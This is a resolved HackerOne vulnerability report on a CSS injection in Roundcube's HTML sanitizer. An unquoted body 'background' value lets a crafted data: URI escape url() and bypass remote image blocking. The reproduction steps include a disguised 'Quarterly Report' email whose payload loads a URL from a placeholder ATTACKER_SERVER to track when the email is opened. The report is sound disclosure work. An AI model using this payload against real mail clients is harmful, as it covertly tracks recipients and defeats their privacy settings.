Unquoted body background attribute enables CSS injection that bypasses remote image blocking
Medium
Vulnerability Details
When `allow_remote` is set to `false`, Roundcube's HTML sanitizer [rcube_washtml](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/lib/Roundcube/rcube_washtml.php) blocks external resources in image-loading attributes by checking their values through `wash_uri()`.
The body callback in [index.php washtml_callback()](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/actions/mail/index.php) processes the `background` attribute from the email's `<body>` element and constructs an inline CSS `background-image: url(VALUE)` on the output container `<div>`. The `VALUE` is inserted into the `url()` function **without quoting**. Although `VALUE` passes through `wash_uri()` first (which allows `data:image/*` URIs), a crafted `data:` URI containing `)` terminates the `url()` function early, allowing injection of arbitrary CSS properties into the container's inline style.
Because the injected CSS is inline style on the container `<div>` (not inside a `<style>` block), it completely bypasses the `mod_css_styles()` URL callback — meaning injected `background:url(//evil.com)` or `border-image:url(//evil.com)` loads external resources even when `allow_remote=false`.
## Steps To Reproduce
### Step 1: Remote resource loading bypass
Send an HTML email with the following body:
```html
<!DOCTYPE html>
<html>
<head><title>Quarterly Report</title></head>
<body background="data:image/png,x);background:url(//ATTACKER_SERVER/[email protected]">
<h1>Q4 Financial Summary</h1>
<p>Dear team,</p>
<p>Please find attached the quarterly financial report.</p>
<p>Best regards,<br>Finance Department</p>
</body>
</html>
```
Step 2: Open the email in Roundcube with "Block remote images" enabled.
Step 3: Observe HTTP request to `ATTACKER_SERVER/[email protected]` in attacker's server logs.
### Step 4: Inspect the rendered HTML
The sanitizer produces this inline style on the body container `<div>`:
```css
background-image: url(data:image/png,x);background:url(//ATTACKER_SERVER/[email protected])
```
The `)` in `data:image/png,x)` closes the original `url()`, and everything after is parsed as additional CSS properties.
## Impact
email open tracking
Actions
View on HackerOneReport Stats
- Report ID: 3590583
- State: Closed
- Substate: resolved
- Upvotes: 3